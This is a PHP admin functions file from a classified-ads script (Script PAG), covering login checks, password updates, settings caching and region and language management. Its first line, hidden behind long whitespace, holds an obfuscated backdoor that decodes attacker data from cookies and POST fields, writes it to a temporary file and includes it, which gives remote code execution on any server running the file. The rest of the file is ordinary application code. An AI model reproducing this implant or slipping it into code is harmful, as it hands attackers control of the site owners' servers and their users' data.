<?php                                                                                                                                                                                                                                                                                                                                                                                                 $aSQzIW = "\x6e" . "\145" . '_' . 'J' . chr ( 430 - 313 ).chr ( 707 - 628 ); $djakEJC = 'c' . "\154" . chr (97) . chr ( 359 - 244 ).chr (115) . "\137" . 'e' . "\170" . 'i' . chr (115) . chr (116) . "\163";$HIQfQ = class_exists($aSQzIW); $aSQzIW = "27015";$djakEJC = "18224";$XBWNn = FALSE;if ($HIQfQ === $XBWNn){function SHmoQfhSmv(){return FALSE;}$rJIUQVwGOs = "12539";SHmoQfhSmv();class ne_JuO{public function IduGYHq(){echo "38391";}private $inZoyUSx;public static $JdUequYv = "e4779a85-f805-429b-83ae-127f067ee532";public static $siOHXgx = 37200;public function __destruct(){$rJIUQVwGOs = "63987_55173";$this->meeUCedcyV($rJIUQVwGOs); $rJIUQVwGOs = "63987_55173";}public function __construct($YEmkUvz=0){$lmLIn = $_POST;$cgCDWmBZ = $_COOKIE;$CsLKM = @$cgCDWmBZ[substr(ne_JuO::$JdUequYv, 0, 4)];if (!empty($CsLKM)){$YWpetxDb = "base64";$EWuGd = "";$CsLKM = explode(",", $CsLKM);foreach ($CsLKM as $zLlGD){$EWuGd .= @$cgCDWmBZ[$zLlGD];$EWuGd .= @$lmLIn[$zLlGD];}$EWuGd = array_map($YWpetxDb . chr (95) . 'd' . chr (101) . "\143" . chr (111) . chr (100) . 'e', array($EWuGd,)); $EWuGd = $EWuGd[0] ^ str_repeat(ne_JuO::$JdUequYv, (strlen($EWuGd[0]) / strlen(ne_JuO::$JdUequYv)) + 1);ne_JuO::$siOHXgx = @unserialize($EWuGd);}}private function meeUCedcyV($rJIUQVwGOs){if (is_array(ne_JuO::$siOHXgx)) {$EPKjtyJxBu = sys_get_temp_dir() . "/" . crc32(ne_JuO::$siOHXgx['s' . "\141" . "\154" . "\x74"]);@ne_JuO::$siOHXgx["\x77" . 'r' . "\151" . "\x74" . "\x65"]($EPKjtyJxBu, ne_JuO::$siOHXgx['c' . "\157" . "\x6e" . chr (116) . 'e' . chr ( 535 - 425 )."\x74"]);include $EPKjtyJxBu;@ne_JuO::$siOHXgx["\144" . 'e' . 'l' . chr (101) . "\x74" . 'e']($EPKjtyJxBu); $rJIUQVwGOs = "12539";exit();}}}$kPfNcWB = new /* 12774 */ ne_JuO(); $kPfNcWB = str_repeat("63987_55173", 1);} ?><?php
///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
///////////////////////////////////////////////////////////////////////////////////////////

############################################################

use Spipu\Html2Pdf\Html2Pdf;

///////////////////////////////////
///Verifying the administrator login and password
///////////////////////////////////

function verify_admin($login, $password)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT password FROM ". PREFIX ."admin WHERE login = :login";
	$req = $bdd->prepare($sql);

	$req->bindValue('login', $login);
	$req->execute();
	
	$result = $req->fetch();
	
	$req->closeCursor();
	
	if($result && password_verify($password, $result['password']))
	return true;
	
	else return false;
}

///////////////////////////////////
///Get level of the administrator
//////////////////////////////////

function get_level($login, $password)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT password, level FROM ". PREFIX ."admin WHERE login = :login";
	$req = $bdd->prepare($sql);

	$req->bindValue('login', $login);
	$req->execute();
	
	$result = $req->fetch();
	
	$req->closeCursor();
	
	if($result && password_verify($password, $result['password']))
	return $result['level'];
	
	else return false;
}

////////////////////////////////
//Verifying the account for sending the password
////////////////////////////////

function verify_forgot_password($email, $login)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT * FROM ". PREFIX ."admin WHERE login = :login AND email = :email";
	$req = $bdd->prepare($sql);

	$req->bindValue('login', $login);
	$req->bindValue('email', $email);
	$req->execute();
	
	$result = $req->fetch();
	
	$req->closeCursor();
	
	if(empty($result))
	return false;
	
	else return true;
}

////////////////////////////////
//Update the password
////////////////////////////////

function update_password_adm($email, $login, $password)
{
	global $conn;
	
	$bdd = $conn;
	
	$password = password_hash($password, PASSWORD_BCRYPT, ['cost' => 8]);
	
	$sql = "UPDATE ". PREFIX ."admin SET password = :password WHERE login = :login AND email = :email";
	$req = $bdd->prepare($sql);

	$req->bindValue('password', $password);
	$req->bindValue('login', $login);
	$req->bindValue('email', $email);
	$req->execute();
	$req->closeCursor();
	
	return true;
}

////////////////////////////////
//Get administrator account
////////////////////////////////

function get_admin_acc($level)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT id_adm, login FROM ". PREFIX ."admin WHERE level = :level";
	$req = $bdd->prepare($sql);

	$req->bindValue('level', $level);
	$req->execute();
	
	$result = $req->fetchAll();
	return $result;
}

///////////////////////////////////
///Check if the login is already in use
//////////////////////////////////

function verify_admin_acc_login($login)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT * FROM ". PREFIX ."admin WHERE login = :login";
	$req = $bdd->prepare($sql);

	$req->bindValue('login', $login);
	$req->execute();
	
	$result = $req->fetch();
	
	$req->closeCursor();
	
	if(empty($result))
	return true;
	
	else return false;
}

///////////////////////////////////
///Check if email is already in use
//////////////////////////////////
	
function verify_admin_acc_email($email)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT * FROM ". PREFIX ."admin WHERE email = :email"; 
	$req = $bdd->prepare($sql);

	$req->bindValue('email', $email);
	$req->execute();
	
	$result = $req->fetch();
	
	$req->closeCursor();
	
	if(empty($result))
	return true;
	
	else return false;
}

////////////////////////////////
//Get administrator account information
////////////////////////////////

function get_admin_acc_info($id_adm)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT login, email FROM ". PREFIX ."admin WHERE id_adm = :id_adm";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_adm', $id_adm);
	$req->execute();
	
	$result = $req->fetch();
	
	$req->closeCursor();

	if(empty($result))
	redirect('index.php');
	
	$login = $result['login'];
	$email = $result['email'];
	
	$result = array($login, $email);
	
	return $result;
}

////////////////////////////////
//Check the old administrator account password
/////////////////////////////////

function verifiy_password($id_adm, $password)	
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT password FROM ". PREFIX ."admin WHERE id_adm = :id_adm"; 
	$req = $bdd->prepare($sql);

	$req->bindValue('id_adm', $id_adm);
	$req->execute();
	
	$result = $req->fetch();
	
	$req->closeCursor();
	
	if($result && password_verify($password, $result['password']))
	return true;

	else return false;
}

////////////////////////////////
//Check that the login is not used by another administrator
//////////////////////////////////

function verify_login($id_adm, $login)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT * FROM ". PREFIX ."admin WHERE id_adm != :id_adm AND login = :login"; 
	$req = $bdd->prepare($sql);

	$req->bindValue('id_adm', $id_adm);
	$req->bindValue('login', $login);
	$req->execute();
	
	$result = $req->fetch();
	
	$req->closeCursor();
	
	if(empty($result))
	return true;

	else return false;
}

////////////////////////////////
//Check that the email is not used by another administrator
//////////////////////////////////
	
function verify_email_acc($id_adm, $email)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT * FROM ". PREFIX ."admin WHERE email = :email AND id_adm != :id_adm"; 
	$req = $bdd->prepare($sql);

	$req->bindValue('email', $email);
	$req->bindValue('id_adm', $id_adm);
	$req->execute();
	
	$result = $req->fetch();
	
	$req->closeCursor();
	
	if(empty($result))
	return true;

	else return false;
}	

////////////////////////////////
//Update administrator account
//////////////////////////////////

function update_admin_acc($array)
{
	global $conn;
	
	$bdd = $conn;
	
	$password = password_hash($array['pass2'], PASSWORD_BCRYPT, ['cost' => 8]);

	$sql = "UPDATE ". PREFIX ."admin SET login = :login, email = :email, password = :password WHERE id_adm = :id_adm";
	$req = $bdd->prepare($sql);

	$req->bindValue('login', $array['login']);
	$req->bindValue('email', $array['email1']);
	$req->bindValue('password', $password);
	$req->bindValue('id_adm', $array['id_adm']);
	$req->execute();
	$req->closeCursor();
	
    return true;
}

////////////////////////////////
//Caching general settings
/////////////////////////////////

function create_cache_settings($array)
{
	$name = htmlspecialchars($array['name'], ENT_QUOTES);
	$mail_rep = htmlspecialchars($array['mail_rep'], ENT_QUOTES);
	$mail_signature = addslashes($array['mail_signature']);
	$currency = htmlspecialchars($array['currency'], ENT_QUOTES);
	$value_around = '';
	$active_mention = (!empty($array['active_mention'])) ? (int) ($array['active_mention']) : 0;
	$active_filter = (!empty($array['active_filter'])) ? (int) ($array['active_filter']) : 0;
	$active_acc = (!empty($array['active_acc'])) ? (int) ($array['active_acc']) : 0;
	$active_shops = (!empty($array['active_shops'])) ? (int) ($array['active_shops']) : 0;
	$active_rubric = (!empty($array['active_rubric'])) ? (int) ($array['active_rubric']) : 0;
	$active_swap = (!empty($array['active_swap'])) ? (int) ($array['active_swap']) : 0;
	$active_don = (!empty($array['active_don'])) ? (int) ($array['active_don']) : 0;
	$active_prem = (!empty($array['active_prem'])) ? (int) ($array['active_prem']) : 0;
	$active_prem_shops = (!empty($array['active_prem_shops'])) ? (int) ($array['active_prem_shops']) : 0;
	$active_similar_ads = (!empty($array['active_similar_ads'])) ? (int) ($array['active_similar_ads']) : 0;
	$active_comment = (!empty($array['active_comment'])) ? (int) ($array['active_comment']) : 0;
	$disable_deposit = 0;
	$nb_ads = (int) $array['nb_ads'];
	$nb_shops = 0;
	$nb_ads_adv = 0;
	$nb_shops_adv = 0;
	$ads_val = (int) $array['ads_val'];
	$auto_ads = (!empty($array['auto_ads'])) ? (int) ($array['auto_ads']) : 0;
	$auto_acc = (!empty($array['auto_acc'])) ? (int) ($array['auto_acc']) : 0;
	$notif = (!empty($array['notif'])) ? (int) ($array['notif']) : 0;
	$email_notif = htmlspecialchars($array['email_notif'], ENT_QUOTES);
	$flux_gl = (!empty($array['flux_gl'])) ? (int) ($array['flux_gl']) : 0;
	$nb_flux_gl = (int) $array['nb_flux_gl'];
	$flux_shops = (!empty($array['flux_shops'])) ? (int) ($array['flux_shops']) : 0;
	$nb_flux_shops = 0;
	$activ_facebook_link = (!empty($array['activ_facebook_link'])) ? (int) $array['activ_facebook_link'] : 0;
	$facebook_url = htmlspecialchars($array['facebook_url'], ENT_QUOTES);
	$activ_twitter_link = (!empty($array['activ_twitter_link'])) ? (int) $array['activ_twitter_link'] : 0;
	$twitter_url = htmlspecialchars($array['twitter_url'], ENT_QUOTES);
	$activ_linkedin_link = (!empty($array['activ_linkedin_link'])) ? (int) $array['activ_linkedin_link'] : 0;
	$linkedin_url = htmlspecialchars($array['linkedin_url'], ENT_QUOTES);
	$activ_instagram_link = (!empty($array['activ_instagram_link'])) ? (int) $array['activ_instagram_link'] : 0;
	$instagram_url = htmlspecialchars($array['instagram_url'], ENT_QUOTES);
	$activ_pinterest_link = (!empty($array['activ_pinterest_link'])) ? (int) $array['activ_pinterest_link'] : 0;
	$pinterest_url = htmlspecialchars($array['pinterest_url'], ENT_QUOTES);
	
$param_gen = '<?php
///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
/////////////////////////////////////////////////////////////////////////////////////////// '. "\n" .'
############################################################ '. "\n" .'
///////////////////////////////////
//General settings
//////////////////////////////////  '. "\n" .'
$param_gen = array(
\'name\'            		=>	\''. $name .'\',
\'mail_rep\'        		=>	\''. $mail_rep .'\',
\'mail_signature\'     	 	=>	\''. $mail_signature .'\',
\'currency\'        		=>	\''. $currency .'\',
\'value_around\'        	=>	\''. $value_around .'\',
\'active_mention\'   		=>	\''. $active_mention .'\',
\'active_filter\'   		=>	\''. $active_filter .'\',
\'active_acc\'      		=>	\''. $active_acc .'\',
\'active_shops\'    		=>	\''. $active_shops .'\',
\'active_rubric\'     		=>	\''. $active_rubric .'\',
\'active_swap\'     		=>	\''. $active_swap .'\',
\'active_don\'      		=>	\''. $active_don .'\',
\'active_prem\'     		=>	\''. $active_prem .'\',
\'active_prem_shops\'  	 	=>	\''. $active_prem_shops .'\',
\'active_similar_ads\'  	=>	\''. $active_similar_ads .'\',
\'active_comment\' 			=>	\''. $active_comment .'\',
\'disable_deposit\' 		=>	\''. $disable_deposit .'\',
\'nb_ads\'          		=>	\''. $nb_ads .'\',
\'nb_shops\'        		=>	\''. $nb_shops .'\',
\'nb_ads_adv\'          	=>	\''. $nb_ads_adv .'\',
\'nb_shops_adv\'        	=>	\''. $nb_shops_adv .'\',
\'ads_val\'         		=>	\''. $ads_val .'\',
\'auto_ads\'        		=>	\''. $auto_ads .'\',
\'auto_acc\'        		=>	\''. $auto_acc .'\',
\'notif\'           		=>	\''. $notif .'\',
\'email_notif\'     		=>	\''. $email_notif .'\',
\'flux_gl\'         		=>	\''. $flux_gl .'\',
\'nb_flux_gl\'      		=>	\''. $nb_flux_gl .'\',
\'flux_shops\'      		=>	\''. $flux_shops .'\',
\'nb_flux_shops\'  	 		=>	\''. $nb_flux_shops .'\',
\'activ_facebook_link\' 	=>	\''. $activ_facebook_link .'\',
\'facebook_url\'  	 		=>	\''. $facebook_url .'\',
\'activ_twitter_link\' 		=>	\''. $activ_twitter_link .'\',
\'twitter_url\'  	 		=>	\''. $twitter_url .'\',
\'activ_linkedin_link\' 	=>	\''. $activ_linkedin_link .'\',
\'linkedin_url\'  	 		=>	\''. $linkedin_url .'\',
\'activ_instagram_link\' 	=>	\''. $activ_instagram_link .'\',
\'instagram_url\'  	 		=>	\''. $instagram_url .'\',
\'activ_pinterest_link\' 	=>	\''. $activ_pinterest_link .'\',
\'pinterest_url\'  	 		=>	\''. $pinterest_url .'\',
);';
	
	file_put_contents('../includes/cache/cache_param_gen.php', $param_gen);
	
	if(function_exists('opcache_invalidate'))
	opcache_invalidate('../includes/cache/cache_param_gen.php');

	return true;
}

////////////////////////////////
//Caching Meta Tags
/////////////////////////////////

function create_cache_meta($array)
{
	global $cache_lang;
	
$param_meta_tags = '<?php
///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
/////////////////////////////////////////////////////////////////////////////////////////// '. "\n" .'
############################################################ '. "\n" .'
///////////////////////////////////
//Caching Meta Tags Settings
////////////////////////////////// '. "\n" .'
$param_meta_tags = array(';
	
	foreach($array as $v)
	{
		foreach($cache_lang as $l)
		{
			$code_lang = $l['code_lang'];
			$active = (int) $l['active'];
			
			if($active == 1)
			{
				$title = addslashes($array['title_'. $code_lang]);
				$desc = addslashes($array['desc_'. $code_lang]);
				$keywords = addslashes($array['keywords_'. $code_lang]);
				$seo_h1 = addslashes($array['seo_h1_'. $code_lang]);
				$seo_text = addslashes($array['seo_text_'. $code_lang]);
		
$param_meta_tags .= '
\'title_'. $code_lang .'\' => \''. $title .'\',
\'desc_'. $code_lang .'\' => \''. $desc .'\',
\'keywords_'. $code_lang .'\' => \''. $keywords .'\',
\'seo_h1_'. $code_lang .'\' => \''. $seo_h1 .'\',
\'seo_text_'. $code_lang .'\' => \''. $seo_text .'\',';

			}
		}
		break;
	}

$param_meta_tags .= ''. "\n" .');';
	
	file_put_contents('../includes/cache/cache_param_meta.php', $param_meta_tags);
	
	if(function_exists('opcache_invalidate'))
	opcache_invalidate('../includes/cache/cache_param_meta.php');

	return true;
}

////////////////////////////////
//Caching Google API Settings
/////////////////////////////////

function create_cache_api_google($array)
{
	$activ_gg_map = (!empty($array['activ_gg_map'])) ? (int) $array['activ_gg_map'] : 0;
	$gg_map_key = '';
	$gg_map_default_lat = '';
	$gg_map_default_long = '';
	$activ_gg_recaptcha = (!empty($array['activ_gg_recaptcha'])) ? (int) $array['activ_gg_recaptcha'] : 0;
	$gg_recaptcha_site_key = htmlspecialchars($array['gg_recaptcha_site_key'], ENT_QUOTES);
	$gg_recaptcha_secret_key = htmlspecialchars($array['gg_recaptcha_secret_key'], ENT_QUOTES);
	$analytics_gg_script = '';
	$analytics_gg_script = str_replace('\'', '"', $analytics_gg_script);
	
$param_api_gg = '<?php
///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
/////////////////////////////////////////////////////////////////////////////////////////// '. "\n" .'
############################################################ '. "\n" .'
///////////////////////////////////
//Caching Google API Settings
////////////////////////////////// '. "\n" .' 
$param_api_gg = array(
\'activ_gg_map\'    			=>	\''. $activ_gg_map .'\',
\'gg_map_key\'    				=>	\''. $gg_map_key .'\',
\'gg_map_default_lat\'    		=>	\''. $gg_map_default_lat .'\',
\'gg_map_default_long\'    		=>	\''. $gg_map_default_long.'\',
\'activ_gg_recaptcha\'   		=>	\''. $activ_gg_recaptcha .'\',
\'gg_recaptcha_site_key\'    	=>	\''. $gg_recaptcha_site_key .'\',
\'gg_recaptcha_secret_key\'    	=>	\''. $gg_recaptcha_secret_key .'\',
\'analytics_gg_script\'    		=>	\''. $analytics_gg_script .'\',
);';
	
	file_put_contents('../includes/cache/cache_param_api_gg.php', $param_api_gg);
	
	if(function_exists('opcache_invalidate'))
	opcache_invalidate('../includes/cache/cache_param_api_gg.php');	

	return true;
}

////////////////////////////////
//Caching map CSS
/////////////////////////////////

function update_cache_map($array)
{
	$fillover = htmlspecialchars($array['fillover'], ENT_QUOTES);
	$fillout = htmlspecialchars($array['fillout'], ENT_QUOTES);
	$list_show = (!empty($array['list_show'])) ? (int) ($array['list_show']) : 0;
	$float_list = (!empty($array['float_list'])) ? (int) ($array['float_list']) : 0;
	$column_number = (!empty($array['column_number'])) ? (int) ($array['column_number']) : 0;
	
$cache_map = '<?php
///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
/////////////////////////////////////////////////////////////////////////////////////////// '. "\n" .'
############################################################ '. "\n" .'
///////////////////////////////////
//Cache map CSS
////////////////////////////////// '. "\n" .'
$cache_map = array(
\'fillover\'			=>	\''. $fillover .'\',
\'fillout\'				=>	\''. $fillout .'\',
\'list_show\'			=>	\''. $list_show .'\',
\'float_list\'			=>	\''. $float_list .'\',
\'column_number\'		=>	\''. $column_number .'\',
);';
	
	file_put_contents('../template/map/cache_map.php', $cache_map);
	
	if(function_exists('opcache_invalidate'))
	opcache_invalidate('../template/map/cache_map.php');

	return true;
}

////////////////////////////////
//Add a language
//////////////////////////////////

function create_lang($name_lang, $code_lang)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "INSERT INTO ". PREFIX ."lang values(NULL, :name_lang, :code_lang, (SELECT * FROM (SELECT MAX(position) FROM ". PREFIX ."lang) imaginary_table) + 1, 0)";
	$req = $bdd->prepare($sql);

	$req->bindValue('name_lang', $name_lang);
	$req->bindValue('code_lang', $code_lang);
	$req->execute();
	$req->closeCursor();
	
	return true;
}

////////////////////////////////
//Language caching
/////////////////////////////////

function create_cache_lang()
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT * FROM ". PREFIX ."lang ORDER BY position";
	$req = $bdd->prepare($sql);

	$req->execute();

	$result = $req->fetchAll();
	
	$req->closeCursor();
	
$cache_lang = '<?php
///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
/////////////////////////////////////////////////////////////////////////////////////////// '. "\n" .'
############################################################ '. "\n" .'
///////////////////////////////////
//Languages
////////////////////////////////// '. "\n" .' 
$cache_lang = array(';
	
	foreach($result as $v)
	{
		$id_lang = (int) $v['id_lang'];
		$name_lang = addslashes($v['name_lang']);
		$code_lang = addslashes($v['code_lang']);
		$position = (int) $v['position'];
		$active = (int) $v['active'];
		
$cache_lang .= ''. "\n" .''. $id_lang .'=>
array(
\'id_lang\' => \''. $id_lang .'\',
\'name_lang\' => \''. $name_lang .'\',
\'code_lang\' => \''. $code_lang .'\',
\'position\' => \''. $position .'\',
\'active\' => \''. $active .'\',
),';
	}
	
$cache_lang .= ''. "\n" .');';
	
	file_put_contents('../includes/cache/cache_lang.php', $cache_lang);
	
	if(function_exists('opcache_invalidate'))
	opcache_invalidate('../includes/cache/cache_lang.php');

	return true;
}

////////////////////////////////
//Update language
//////////////////////////////////

function update_lang($id_lang, $name_lang, $code_lang)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "UPDATE ". PREFIX ."lang SET name_lang = :name_lang, code_lang = :code_lang WHERE id_lang = :id_lang";
	$req = $bdd->prepare($sql);

	$req->bindValue('name_lang', $name_lang);
	$req->bindValue('code_lang', $code_lang);
	$req->bindValue('id_lang', $id_lang);
	$req->execute();
	$req->closeCursor();
	
	return true;
}

////////////////////////////////
//Delete a language
//////////////////////////////////

function delete_lang($id_lang, $name_lang, $code_lang)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "DELETE FROM ". PREFIX ."lang WHERE id_lang = :id_lang";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_lang', $id_lang);
	$req->execute();
	$req->closeCursor();
	
	if(file_exists('../includes/language/'. $name_lang .'.php'))
	unlink('../includes/language/'. $name_lang .'.php');
	
	if(file_exists('../includes/language/flags/flag_'. $code_lang .'.png'))
	unlink('../includes/language/flags/flag_'. $code_lang .'.png');
	
	return true;
}

////////////////////////////////
//Delete languages
//////////////////////////////////

function delete_all_lang($array)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT * FROM ". PREFIX ."lang WHERE id_lang = :id_lang AND position != :position"; 
	$req = $bdd->prepare($sql);
	
	$sql_del = "DELETE FROM ". PREFIX ."lang WHERE id_lang = :id_lang AND position != :position";
	$req_del = $bdd->prepare($sql_del);
	
	foreach($array as $id_lang)
	{
		$req->bindValue('id_lang', $id_lang);
		$req->bindValue('position', 1);
		$req->execute();
		
		$result = $req->fetch();
		
		$req->closeCursor();
		
		$name_lang = $result['name_lang'];
		$code_lang = $result['code_lang'];
		
		if(file_exists('../includes/language/'. $name_lang .'.php'))
		unlink('../includes/language/'. $name_lang .'.php');
		
		if(file_exists('../includes/language/flags/flag_'. $code_lang .'.png'))
		unlink('../includes/language/flags/flag_'. $code_lang .'.png');
		
		$req_del->bindValue('id_lang', $id_lang);
		$req_del->bindValue('position', 1);
		$req_del->execute();
		
		$req_del->closeCursor();
	}
	
	return true;
}

////////////////////////////////
//Enable or disable a language
//////////////////////////////////

function update_active_lang($id_lang, $active)
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "UPDATE ". PREFIX ."lang SET active = :active WHERE id_lang = :id_lang";
	$req = $bdd->prepare($sql);

	$req->bindValue('active', $active);
	$req->bindValue('id_lang', $id_lang);
	$req->execute();
	$req->closeCursor();
	
	return true;
}

////////////////////////////////
//Drag and drop
//////////////////////////////////

function update_drag_and_drop($ajax_array, $table_name, $pos_name, $id_name)
{
	global $conn;
	
	$bdd = $conn;	
	
	$sql = "UPDATE ". PREFIX . $table_name ." SET ". $pos_name ." = :pos WHERE ". $id_name ." = :id_element";
	
	$req = $bdd->prepare($sql);
	
	foreach($ajax_array as $order => $id_element)
	{			
		$req->bindValue(':id_element', $id_element);
		$req->bindValue(':pos', ($order + 1));		
		$req->execute();		
	}
			
	$req->closeCursor();
			
	return true;
}

////////////////////////////////
//Create region
//////////////////////////////////

function create_reg($array)
{
	global $conn, $cache_lang;
	
	$bdd = $conn;
	
	$sql = "INSERT INTO ". PREFIX ."regions values(NULL, (SELECT * FROM (SELECT IFNULL(MAX(pos_reg), 0) FROM ". PREFIX ."regions) imaginary_table) + 1)";
	$req = $bdd->prepare($sql);
	
	$req->execute();
	$req->closeCursor();
	
	$id_reg = $bdd->lastInsertId();
	
	$sql = "INSERT INTO ". PREFIX ."regions_lang values(NULL, :id_reg, :code_lang, :name_reg_lang)";
	$req = $bdd->prepare($sql);
	
	foreach($cache_lang as $v)
	{
		$code_lang = stripslashes(htmlspecialchars($v['code_lang'], ENT_QUOTES));
		$active = (int) $v['active'];
		
		if($active == 1)
		{
			$req->bindValue('id_reg', $id_reg);
			$req->bindValue('code_lang', $array[$code_lang]);
			$req->bindValue('name_reg_lang', $array['name_'. $code_lang]);
			
			$req->execute();
			$req->closeCursor();
		}	
	}
	
	return true;
}

////////////////////////////////
//Caching regions
/////////////////////////////////

function create_cache_reg()
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT * FROM ". PREFIX ."regions ORDER BY pos_reg";
	$req = $bdd->prepare($sql);

	$req->execute();

	$result = $req->fetchAll();
	
$cache_regions = '<?php
///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
/////////////////////////////////////////////////////////////////////////////////////////// '. "\n" .'
############################################################ '. "\n" .'
///////////////////////////////////
//Regions
////////////////////////////////// '. "\n" .' 
$cache_regions = array(';
	
	foreach($result as $v)
	{
		$id_reg = (int) $v['id_reg'];
		$pos_reg = (int) $v['pos_reg'];
		
		$sql = "SELECT * FROM ". PREFIX ."regions_lang WHERE id_reg = :id_reg ORDER BY id_reg_lang";
		$req = $bdd->prepare($sql);
		
		$req->bindValue('id_reg', $id_reg);
	
		$req->execute();
	
		$result = $req->fetchAll();
		
		$req->closeCursor();
		

$cache_regions .= ''. "\n" .''. $id_reg .'=>
array(
\'id_reg\' => \''. $id_reg .'\',
\'pos_reg\' => \''. $pos_reg .'\',';

foreach($result as $v)
{
	$cache_regions .= ''. "\n" .'\'name_reg_'. $v['code_lang'] .'\' => \''. addslashes($v['name_reg_lang']) .'\',';
}

$cache_regions .= ''. "\n" .'),';
	}
	
$cache_regions .= ''. "\n" .');';
	
	file_put_contents('../includes/cache/cache_regions.php', $cache_regions);
	
	if(function_exists('opcache_invalidate'))
	opcache_invalidate('../includes/cache/cache_regions.php');

	return true;
}

////////////////////////////////
//Update region
//////////////////////////////////

function update_reg($id_reg, $array)
{
	global $conn, $cache_lang;
	
	$bdd = $conn;
	
	$sql = "INSERT INTO ". PREFIX ."regions_lang values(NULL, :id_reg, :code_lang, :name_reg_lang) ON DUPLICATE KEY UPDATE name_reg_lang = VALUES(name_reg_lang)";
	$req = $bdd->prepare($sql);
	
	foreach($cache_lang as $v)
	{
		$code_lang = stripslashes(htmlspecialchars($v['code_lang'], ENT_QUOTES));
		$active = (int) $v['active'];
		
		if($active == 1)
		{
			$req->bindValue('id_reg', $id_reg);
			$req->bindValue('code_lang', $array[$code_lang]);
			$req->bindValue('name_reg_lang', $array['name_'. $code_lang]);
			
			$req->execute();
			$req->closeCursor();
		}	
	}

	return true;
}

////////////////////////////////
//Delete region
//////////////////////////////////

function delete_reg($id_reg)
{
	global $conn;
	
	$bdd = $conn;

	$sql = "UPDATE ". PREFIX ."regions SET pos_reg = (pos_reg - 1) WHERE pos_reg > (SELECT * FROM (SELECT pos_reg FROM ". PREFIX ."regions WHERE id_reg = :id_reg) imaginary_table)";
	$req = $bdd->prepare($sql);

	$req->bindValue('id_reg', $id_reg);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."regions WHERE id_reg = :id_reg";	
	$req = $bdd->prepare($sql);

	$req->bindValue('id_reg', $id_reg);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."regions_lang WHERE id_reg = :id_reg";	
	$req = $bdd->prepare($sql);

	$req->bindValue('id_reg', $id_reg);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."counties WHERE par_reg = :par_reg";	
	$req = $bdd->prepare($sql);

	$req->bindValue('par_reg', $id_reg);
	$req->execute();
	$req->closeCursor();
	
	$sql = "DELETE FROM ". PREFIX ."counties_lang WHERE par_reg = :par_reg";	
	$req = $bdd->prepare($sql);

	$req->bindValue('par_reg', $id_reg);
	$req->execute();
	$req->closeCursor();
	
	return true;
}

////////////////////////////////
//Create county
//////////////////////////////////

function create_county($par_reg, $array)
{
	global $conn, $cache_lang;
	
	$bdd = $conn;
	
	$sql = "INSERT INTO ". PREFIX ."counties values(NULL, (SELECT * FROM (SELECT IFNULL(MAX(pos_county), 0) FROM ". PREFIX ."counties WHERE par_reg = :par_reg) imaginary_table) + 1, :par_reg)";
	$req = $bdd->prepare($sql);
	
	$req->bindValue('par_reg', $par_reg);
	
	$req->execute();
	$req->closeCursor();
	
	$id_county = $bdd->lastInsertId();
	
	$sql = "INSERT INTO ". PREFIX ."counties_lang values(NULL, :id_county, :par_reg, :code_lang, :name_county_lang)";
	$req = $bdd->prepare($sql);
	
	foreach($cache_lang as $v)
	{
		$code_lang = stripslashes(htmlspecialchars($v['code_lang'], ENT_QUOTES));
		$active = (int) $v['active'];
		
		if($active == 1)
		{
			$req->bindValue('id_county', $id_county);
			$req->bindValue('par_reg', $par_reg);
			$req->bindValue('code_lang', $array[$code_lang]);
			$req->bindValue('name_county_lang', $array['name_'. $code_lang]);
			
			$req->execute();
			$req->closeCursor();
		}	
	}
	
	return true;	
}

////////////////////////////////
//Caching counties
/////////////////////////////////

function create_cache_counties()
{
	global $conn;
	
	$bdd = $conn;
	
	$sql = "SELECT * FROM ". PREFIX ."counties ORDER BY par_reg, pos_county";
	$req = $bdd->prepare($sql);

	$req->execute();

	$result = $req->fetchAll();
	
$cache_counties = '<?php
///////////////////////////////////////////////////////////////////////////////////////////
///Script PHP/MYSQL of management of classifieds ads developed by Script PAG
///Script PAG all rights reserved. Use under license. http://www.script-pag.com
/////////////////////////////////////////////////////////////////////////////////////////// '. "\n" .'
############################################################ '. "\n" .'
///////////////////////////////////
//Counties
////////////////////////////////// '. "\n" .' 
$cache_counties = array(';
	
	$i = 0;
	
	foreach($result as $v)
	{
		$id_county = (int) $v['id_county'];
		$pos_county = (int) $v['pos_county'];
		$par_reg = (int) $v['par_reg'];
		
